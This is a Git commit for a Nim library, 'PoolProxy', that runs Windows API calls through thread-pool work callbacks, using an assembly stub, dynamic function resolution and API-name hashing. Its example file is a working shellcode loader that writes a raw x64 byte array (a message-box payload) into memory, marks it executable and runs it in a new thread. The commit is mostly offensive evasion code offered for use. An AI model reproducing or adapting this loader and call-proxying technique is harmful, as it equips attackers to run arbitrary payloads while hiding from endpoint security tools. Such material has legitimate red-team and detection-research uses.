initial commit

This commit is contained in:
nbaertsch
2024-05-26 20:20:18 -04:00
parent 27a40278b0
commit 7cff4837b2
4 changed files with 459 additions and 0 deletions
+8
View File
@@ -0,0 +1,8 @@
nimcache/
nimblecache/
htmldocs/
bin/
*.exe
testresults/
+11
View File
@@ -0,0 +1,11 @@
# Package
version = "1.0.0"
author = "nbaertsch"
description = "Proxy function calls through the thread pool with ease"
license = "GPL-3.0"
srcDir = "src"
# Dependencies
requires "nim >= 2.0.0"
requires "winim >= 3.9.2"
requires "https://github.com/nbaertsch/nimvoke"
+211
View File
@@ -0,0 +1,211 @@
## File: shellcode.nim
## Author: nbaertsch
##
## Example usage of 'PoolProxy' to execute shellcode
import winim/lean
import ../src/PoolProxy/PoolProxy
import nimvoke/dinvoke
# Message box shellcode
var shellcode = @[
byte 0x48, 0x83, 0xec, 0x28, 0xe8, 0x9f, 0x02, 0x00, 0x00, 0x48, 0x83, 0xc4,
0x28, 0xc3, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x18, 0x65, 0x48, 0x8b, 0x04,
0x25, 0x60, 0x00, 0x00, 0x00, 0x48, 0x89, 0x04, 0x24, 0x48, 0x8b, 0x04,
0x24, 0x48, 0x83, 0xc4, 0x18, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x4c, 0x24,
0x08, 0x48, 0x83, 0xec, 0x18, 0xc7, 0x04, 0x24, 0x00, 0x00, 0x00, 0x00,
0x48, 0x8b, 0x44, 0x24, 0x20, 0x0f, 0xbe, 0x00, 0x85, 0xc0, 0x74, 0x58,
0x8b, 0x04, 0x24, 0xc1, 0xe8, 0x0d, 0x8b, 0x0c, 0x24, 0xc1, 0xe1, 0x13,
0x0b, 0xc1, 0x89, 0x04, 0x24, 0x48, 0x8b, 0x44, 0x24, 0x20, 0x0f, 0xbe,
0x00, 0x83, 0xf8, 0x61, 0x7c, 0x11, 0x48, 0x8b, 0x44, 0x24, 0x20, 0x0f,
0xbe, 0x00, 0x83, 0xe8, 0x20, 0x89, 0x44, 0x24, 0x04, 0xeb, 0x0c, 0x48,
0x8b, 0x44, 0x24, 0x20, 0x0f, 0xbe, 0x00, 0x89, 0x44, 0x24, 0x04, 0x8b,
0x44, 0x24, 0x04, 0x8b, 0x0c, 0x24, 0x03, 0xc8, 0x8b, 0xc1, 0x89, 0x04,
0x24, 0x48, 0x8b, 0x44, 0x24, 0x20, 0x48, 0xff, 0xc0, 0x48, 0x89, 0x44,
0x24, 0x20, 0xeb, 0x9c, 0x8b, 0x04, 0x24, 0x48, 0x83, 0xc4, 0x18, 0xc3,
0x48, 0x89, 0x4c, 0x24, 0x08, 0x48, 0x83, 0xec, 0x18, 0xc7, 0x04, 0x24,
0x10, 0x00, 0x00, 0x00, 0x48, 0x63, 0x04, 0x24, 0x48, 0x8b, 0x4c, 0x24,
0x20, 0x48, 0x2b, 0xc8, 0x48, 0x8b, 0xc1, 0x48, 0x83, 0xc4, 0x18, 0xc3,
0x89, 0x4c, 0x24, 0x08, 0x48, 0x81, 0xec, 0x98, 0x00, 0x00, 0x00, 0xe8,
0x34, 0xff, 0xff, 0xff, 0x48, 0x89, 0x44, 0x24, 0x58, 0x48, 0x8b, 0x44,
0x24, 0x58, 0x48, 0x8b, 0x40, 0x18, 0x48, 0x8b, 0x40, 0x20, 0x48, 0x89,
0x44, 0x24, 0x50, 0x48, 0x8b, 0x44, 0x24, 0x50, 0x48, 0x89, 0x44, 0x24,
0x40, 0x48, 0x8b, 0x4c, 0x24, 0x40, 0xe8, 0xa1, 0xff, 0xff, 0xff, 0x48,
0x89, 0x44, 0x24, 0x60, 0x48, 0x8b, 0x44, 0x24, 0x40, 0x48, 0x8b, 0x00,
0x48, 0x89, 0x44, 0x24, 0x40, 0x48, 0x8b, 0x44, 0x24, 0x60, 0x48, 0x8b,
0x40, 0x30, 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0x83, 0x7c, 0x24, 0x28,
0x00, 0x75, 0x05, 0xe9, 0x58, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x44, 0x24,
0x28, 0x48, 0x89, 0x44, 0x24, 0x68, 0x48, 0x8b, 0x44, 0x24, 0x68, 0x48,
0x63, 0x40, 0x3c, 0x48, 0x8b, 0x4c, 0x24, 0x28, 0x48, 0x03, 0xc8, 0x48,
0x8b, 0xc1, 0x48, 0x89, 0x44, 0x24, 0x70, 0xb8, 0x08, 0x00, 0x00, 0x00,
0x48, 0x6b, 0xc0, 0x00, 0x48, 0x8b, 0x4c, 0x24, 0x70, 0x8b, 0x84, 0x01,
0x88, 0x00, 0x00, 0x00, 0x89, 0x44, 0x24, 0x34, 0x83, 0x7c, 0x24, 0x34,
0x00, 0x75, 0x05, 0xe9, 0x10, 0x01, 0x00, 0x00, 0x8b, 0x44, 0x24, 0x34,
0x48, 0x8b, 0x4c, 0x24, 0x28, 0x48, 0x03, 0xc8, 0x48, 0x8b, 0xc1, 0x48,
0x89, 0x44, 0x24, 0x38, 0x48, 0x8b, 0x44, 0x24, 0x38, 0x8b, 0x40, 0x0c,
0x48, 0x8b, 0x4c, 0x24, 0x28, 0x48, 0x03, 0xc8, 0x48, 0x8b, 0xc1, 0x48,
0x89, 0x44, 0x24, 0x78, 0x48, 0x8b, 0x4c, 0x24, 0x78, 0xe8, 0x7a, 0xfe,
0xff, 0xff, 0x89, 0x44, 0x24, 0x48, 0x48, 0x8b, 0x44, 0x24, 0x38, 0x8b,
0x40, 0x20, 0x48, 0x8b, 0x4c, 0x24, 0x28, 0x48, 0x03, 0xc8, 0x48, 0x8b,
0xc1, 0x48, 0x89, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24,
0x20, 0x00, 0x00, 0x00, 0x00, 0xeb, 0x0a, 0x8b, 0x44, 0x24, 0x20, 0xff,
0xc0, 0x89, 0x44, 0x24, 0x20, 0x48, 0x8b, 0x44, 0x24, 0x38, 0x8b, 0x40,
0x18, 0x39, 0x44, 0x24, 0x20, 0x0f, 0x83, 0x95, 0x00, 0x00, 0x00, 0x8b,
0x44, 0x24, 0x20, 0x48, 0x8b, 0x8c, 0x24, 0x80, 0x00, 0x00, 0x00, 0x8b,
0x04, 0x81, 0x48, 0x8b, 0x4c, 0x24, 0x28, 0x48, 0x03, 0xc8, 0x48, 0x8b,
0xc1, 0x48, 0x89, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x8c,
0x24, 0x88, 0x00, 0x00, 0x00, 0xe8, 0x06, 0xfe, 0xff, 0xff, 0x8b, 0x4c,
0x24, 0x48, 0x03, 0xc8, 0x8b, 0xc1, 0x39, 0x84, 0x24, 0xa0, 0x00, 0x00,
0x00, 0x75, 0x50, 0x48, 0x8b, 0x44, 0x24, 0x38, 0x8b, 0x40, 0x24, 0x48,
0x8b, 0x4c, 0x24, 0x28, 0x48, 0x03, 0xc8, 0x48, 0x8b, 0xc1, 0x8b, 0x4c,
0x24, 0x20, 0x0f, 0xb7, 0x04, 0x48, 0x66, 0x89, 0x44, 0x24, 0x30, 0x48,
0x8b, 0x44, 0x24, 0x38, 0x8b, 0x40, 0x1c, 0x48, 0x8b, 0x4c, 0x24, 0x28,
0x48, 0x03, 0xc8, 0x48, 0x8b, 0xc1, 0x0f, 0xb7, 0x4c, 0x24, 0x30, 0x8b,
0x04, 0x88, 0x89, 0x44, 0x24, 0x4c, 0x8b, 0x44, 0x24, 0x4c, 0x48, 0x8b,
0x4c, 0x24, 0x28, 0x48, 0x03, 0xc8, 0x48, 0x8b, 0xc1, 0xeb, 0x17, 0xe9,
0x4f, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x44, 0x24, 0x50, 0x48, 0x39, 0x44,
0x24, 0x40, 0x0f, 0x85, 0x61, 0xfe, 0xff, 0xff, 0x33, 0xc0, 0x48, 0x81,
0xc4, 0x98, 0x00, 0x00, 0x00, 0xc3, 0xcc, 0xcc, 0x48, 0x81, 0xec, 0x98,
0x00, 0x00, 0x00, 0xb8, 0x75, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24,
0x38, 0xb8, 0x73, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x3a, 0xb8,
0x65, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x3c, 0xb8, 0x72, 0x00,
0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x3e, 0xb8, 0x33, 0x00, 0x00, 0x00,
0x66, 0x89, 0x44, 0x24, 0x40, 0xb8, 0x32, 0x00, 0x00, 0x00, 0x66, 0x89,
0x44, 0x24, 0x42, 0xb8, 0x2e, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24,
0x44, 0xb8, 0x64, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x46, 0xb8,
0x6c, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x48, 0xb8, 0x6c, 0x00,
0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x4a, 0x33, 0xc0, 0x66, 0x89, 0x44,
0x24, 0x4c, 0xb8, 0x53, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x20,
0xb8, 0x68, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x22, 0xb8, 0x65,
0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x24, 0xb8, 0x6c, 0x00, 0x00,
0x00, 0x66, 0x89, 0x44, 0x24, 0x26, 0xb8, 0x6c, 0x00, 0x00, 0x00, 0x66,
0x89, 0x44, 0x24, 0x28, 0xb8, 0x63, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44,
0x24, 0x2a, 0xb8, 0x6f, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x2c,
0xb8, 0x64, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x2e, 0xb8, 0x65,
0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x30, 0x33, 0xc0, 0x66, 0x89,
0x44, 0x24, 0x32, 0xb8, 0x45, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24,
0x50, 0xb8, 0x78, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x52, 0xb8,
0x65, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x54, 0xb8, 0x63, 0x00,
0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x56, 0xb8, 0x75, 0x00, 0x00, 0x00,
0x66, 0x89, 0x44, 0x24, 0x58, 0xb8, 0x74, 0x00, 0x00, 0x00, 0x66, 0x89,
0x44, 0x24, 0x5a, 0xb8, 0x65, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24,
0x5c, 0xb8, 0x64, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x5e, 0xb8,
0x20, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x60, 0xb8, 0x73, 0x00,
0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x62, 0xb8, 0x68, 0x00, 0x00, 0x00,
0x66, 0x89, 0x44, 0x24, 0x64, 0xb8, 0x65, 0x00, 0x00, 0x00, 0x66, 0x89,
0x44, 0x24, 0x66, 0xb8, 0x6c, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24,
0x68, 0xb8, 0x6c, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x6a, 0xb8,
0x63, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x6c, 0xb8, 0x6f, 0x00,
0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x6e, 0xb8, 0x64, 0x00, 0x00, 0x00,
0x66, 0x89, 0x44, 0x24, 0x70, 0xb8, 0x65, 0x00, 0x00, 0x00, 0x66, 0x89,
0x44, 0x24, 0x72, 0xb8, 0x21, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24,
0x74, 0x33, 0xc0, 0x66, 0x89, 0x44, 0x24, 0x76, 0xc7, 0x44, 0x24, 0x78,
0xa3, 0x10, 0xb7, 0xf8, 0xb9, 0xa3, 0x10, 0xb7, 0xf8, 0xe8, 0x7a, 0xfc,
0xff, 0xff, 0x48, 0x89, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8d,
0x4c, 0x24, 0x38, 0xff, 0x94, 0x24, 0x80, 0x00, 0x00, 0x00, 0xc7, 0x44,
0x24, 0x7c, 0xb4, 0x78, 0x78, 0xcd, 0xb9, 0xb4, 0x78, 0x78, 0xcd, 0xe8,
0x54, 0xfc, 0xff, 0xff, 0x48, 0x89, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00,
0x45, 0x33, 0xc9, 0x4c, 0x8d, 0x44, 0x24, 0x20, 0x48, 0x8d, 0x54, 0x24,
0x50, 0x33, 0xc9, 0xff, 0x94, 0x24, 0x88, 0x00, 0x00, 0x00, 0x48, 0x81,
0xc4, 0x98, 0x00, 0x00, 0x00, 0xc3, 0xcc, 0xcc]
when isMainModule:
var
hProcess: HANDLE = 0xFFFFFFFFFFFFFFFF # current process
objectAttributes: OBJECT_ATTRIBUTES = OBJECT_ATTRIBUTES()
shellcodeSize: SIZE_T = shellcode.len.SIZE_T
baseAddr: PVOID
# test debug
dinvokeDefine(
ZwAllocateVirtualMemory,
"ntdll.dll",
proc (ProcessHandle: Handle, BaseAddress: PVOID, ZeroBits: ULONG_PTR, RegionSize: PSIZE_T, AllocationType: ULONG, Protect: ULONG): NTSTATUS {.stdcall.}
)
echo "hProcess: ", toHex(hProcess)
echo "&baseAddr: ", toHex(cast[SIZE_T](&baseAddr))
echo "0: ", toHex(0)
echo "&shellcodeSize: ", toHex(cast[SIZE_T](&shellcodeSize))
echo "MEM_RESERVE or MEM_COMMIT: ", toHex(MEM_RESERVE or MEM_COMMIT)
echo "PAGE_READWRITE: ", toHex(PAGE_READWRITE)
discard stdin.readline
#[var status = poolproxy[NTSTATUS](ZwAllocateVirtualMemory,
"ntdll.dll",
hProcess,
&baseAddr,
0,
&shellcodeSize,
MEM_RESERVE or MEM_COMMIT,
PAGE_READWRITE
)]#
var status = poolproxy(NtAllocateVirtualMemory,
"ntdll.dll",
hProcess,
&baseAddr,
0.SIZE_T,
&shellcodeSize,
(MEM_RESERVE or MEM_COMMIT),
PAGE_READWRITE
)
echo status.toHex()
var bytesWritten: SIZE_T
# ZwWriteVirtualMemory
status = poolproxy[NTSTATUS](NtWriteVirtualMemory,
"ntdll.dll",
hProcess,
baseAddr,
&shellcode[0],
shellcodeSize.SIZE_T,
cast[PSIZE_T](&bytesWritten)
)
echo status.toHex()
# ZwProtectVirtualMemory
var oldProtect: DWORD
status = poolproxy[NTSTATUS](ZwProtectVirtualMemory,
"ntdll.dll",
hProcess,
&baseAddr,
&shellcodeSize,
PAGE_EXECUTE_READ,
&oldProtect
)
echo status.toHex()
# ZwCreateThreadEx
var hThread: HANDLE
#[ This exceeds the limit of 8 args that poolproxy allows for.
status = poolproxy(ZwCreateThreadEx,
"ntdll.dll",
&hThread,
GENERIC_EXECUTE,
NULL,
hProcess,
baseAddr,
NULL,
FALSE,
NULL,
NULL,
NULL,
NULL
)
]#
hThread = poolproxy[NTSTATUS](CreateThread,
"kernel32.dll",
NULL,
0,
cast[LPTHREAD_START_ROUTINE](baseAddr),
NULL,
0,
NULL
)
echo hThread.toHex()
WaitForSingleObject(hThread, INFINITE)
+229
View File
@@ -0,0 +1,229 @@
import std/macros
import std/sysrand
import winim/lean
import nimvoke/dinvoke
template debug(a: untyped) =
when not defined release:
a
dinvokeDefine(
TpAllocWork,
"ntdll.dll",
proc (ppWork: ptr PTP_WORK, Callback: PTP_WORK_CALLBACK, Context: PVOID, CallbackEnviron: PTP_CALLBACK_ENVIRON,): NTSTATUS {.stdcall.}
)
dinvokeDefine(
TpPostWork,
"ntdll.dll",
proc (pWork: PTP_WORK) {.stdcall.}
)
dinvokeDefine(
TpReleaseWork,
"ntdll.dll",
proc (pWork: PTP_WORK) {.stdcall.}
)
dinvokeDefine(
TpWaitForWork,
"ntdll.dll",
proc (pWork: PTP_WORK, CancelPendingCallbacks: LOGICAL) {.stdcall.}
)
dinvokeDefine(
ZwProtectVirtualMemory,
"ntdll.dll",
proc (ProcessHandle: Handle, BaseAddress: PVOID, NumberOfBytesToProtect: PULONG, NewAccessProtection: ULONG, OldAccessProtection: PULONG): NTSTATUS {.stdcall.}
)
{.passL: "-Wl,--image-base -Wl,0x10000000".}
proc workCallbackStub*(instance: PTP_CALLBACK_INSTANCE, ctx: PVOID, work: PTP_WORK) {.stdcall, asmNoStackFrame.} =
asm """
code:
mov rbx, rdx
mov r11, [rbx]
mov rax, [rbx + 0x8] # no cmp since we jump to rax
cmp r11, [rbx + 0x10]
je morecode
mov rcx, [rbx + 0x10]
cmp r11, [rbx + 0x18]
je morecode
mov rdx, [rbx + 0x18]
cmp r11, [rbx + 0x20]
je morecode
mov r8, [rbx + 0x20]
cmp r11, [rbx + 0x28]
je morecode
mov r9, [rbx + 0x28]
cmp r11, [rbx + 0x30]
je morecode
mov r10, [rbx + 0x30]
mov [rsp+0x20], r10
cmp r11, [rbx + 0x38]
je morecode
mov r10, [rbx + 0x38]
mov [rsp+0x28], r10
cmp r11, [rbx + 0x40]
je morecode
mov r10, [rbx + 0x40]
mov [rsp+0x30], r10
cmp r11, [rbx + 0x48]
je morecode
mov r10, [rbx + 0x48]
mov [rsp+0x38], r10
# There is no more space available in the stack frame for the work callback from `TpAllocPool`
# actually there is exactly one more qword available now that we are fucking with the stack frame and overwriting homing space
morecode:
lea r11, evenmorecode
push r11
jmp rax
evenmorecode:
mov [rbx], rax
"""
proc buildContextTpWork*(funcAddr: FARPROC, args: openArray[SIZE_T]): seq[SIZE_T] =
## Builds the context struct used for TP_WORK_CALLBACK's
var context: seq[SIZE_T]
let high = args.high
var
rand = urandom(sizeof(SIZE_T))
sentinel = cast[ptr SIZE_T](rand[0].addr)[]
sentinelIsSafe: bool = true
# check sentinel safety
if (sentinel == cast[SIZE_T](funcAddr)): sentinelIsSafe = false
for i in 0..high:
if sentinel == args[i]: sentinelIsSafe = false
# loop to ensure a safe sentinel
while not sentinelIsSafe:
rand = urandom(sizeof(SIZE_T))
sentinel = cast[ptr SIZE_T](rand[0].addr)[]
sentinelIsSafe = true
# check sentinel safety
if (sentinel == cast[SIZE_T](funcAddr)): sentinelIsSafe = false
for i in 0..high:
if sentinel == args[i]: sentinelIsSafe = false
echo sentinel.toHex() # debug
context.add(sentinel)
context.add(cast[SIZE_T](funcAddr))
for i in 0..high:
if i <= 3:
context.add(args[i]) # reg args
else:
context.add(args[high-(i-4)]) # stack args, inverted order
context.add(sentinel)
return context
proc coerceToSizeT*[T](t: T): SIZE_T =
return cast[SIZE_T](t)
#[
macro poolproxy*(funcName: untyped, libName: untyped, args: varargs[SIZE_T, coerceToSizeT]): SIZE_T =
let
funcNameStr = funcName.strVal
libNameStr = libName.strVal
quote do:
#if `args`.len > 8: {.fatal:"poolproxy max args exceeded (8)".}
let funcAddr: FARPROC = (hashAsciiStatic(`libNameStr`).getProcAddressByHash(hashAsciiStatic(`funcNameStr`)))
var castedArgs: seq[SIZE_T]
var context = buildContextTpWork(funcAddr, `args`)
# create the work object and execute it.
var
pWork: PTP_WORK = NULL
status = TpAllocWork(&pWork, workCallbackStub.PTP_WORK_CALLBACK, context[0].addr, NULL)
if status != 0:
dbgEcho "TpAllocWork failed: ntstatus= ", toHex(status)
TpPostWork(pWork)
TpWaitForWork(pWork, FALSE)
TpReleaseWork(pWork)
context[0]
]#
macro poolproxy*(funcName: untyped, libName: untyped, args: varargs[SIZE_T, coerceToSizeT]): untyped =
#if args.len > 8: {.fatal:"poolproxy max args exceeded (8)".}
let
funcNameStr = funcName.strVal
libNameStr = libName.strVal
quote do:
let funcAddr: SIZE_T = cast[SIZE_T](hashAsciiStatic(`libNameStr`).getProcAddressByHash(hashAsciiStatic(`funcNameStr`)))
var context: seq[SIZE_T]
let high = `args`.high
# find an appropriate sentinel
var
rand = urandom(sizeof(SIZE_T))
sentinel = cast[ptr SIZE_T](rand[0].addr)[]
sentinelIsSafe: bool = true
# check sentinel safety
if (sentinel == cast[SIZE_T](funcAddr)): sentinelIsSafe = false
for i in 0..high:
if sentinel == `args`[i]: sentinelIsSafe = false
# loop to ensure a safe sentinel
while not sentinelIsSafe:
rand = urandom(sizeof(SIZE_T))
sentinel = cast[ptr SIZE_T](rand[0].addr)[]
sentinelIsSafe = true
# check sentinel safety
if (sentinel == cast[SIZE_T](funcAddr)): sentinelIsSafe = false
for i in 0..high:
if sentinel == `args`[i]: sentinelIsSafe = false
# add sentinel and funcAddr to the context struct
context.add(sentinel)
context.add(cast[SIZE_T](funcAddr))
# add the rest of the args to the context struct, inverting the stack args order
for i in 0..high:
if i <= 3:
context.add(`args`[i]) # reg args
else:
context.add(`args`[i]) # context.add(`args`[high-(i-4)]) # stack args
context.add(sentinel) # add last sentinel
debug:
echo "callback: ", toHex(cast[SIZE_T](workCallbackStub))
for i in 0..context.high:
echo "[", i, "] ", toHex(context[i])
discard stdin.readline
# create the work object and execute it.
var
pWork: PTP_WORK = NULL
status = TpAllocWork(&pWork, workCallbackStub.PTP_WORK_CALLBACK, context[0].addr, NULL)
if status != 0:
debug:
echo "TpAllocWork failed: ntstatus= ", toHex(status)
TpPostWork(pWork)
TpWaitForWork(pWork, FALSE)
TpReleaseWork(pWork)
context[0]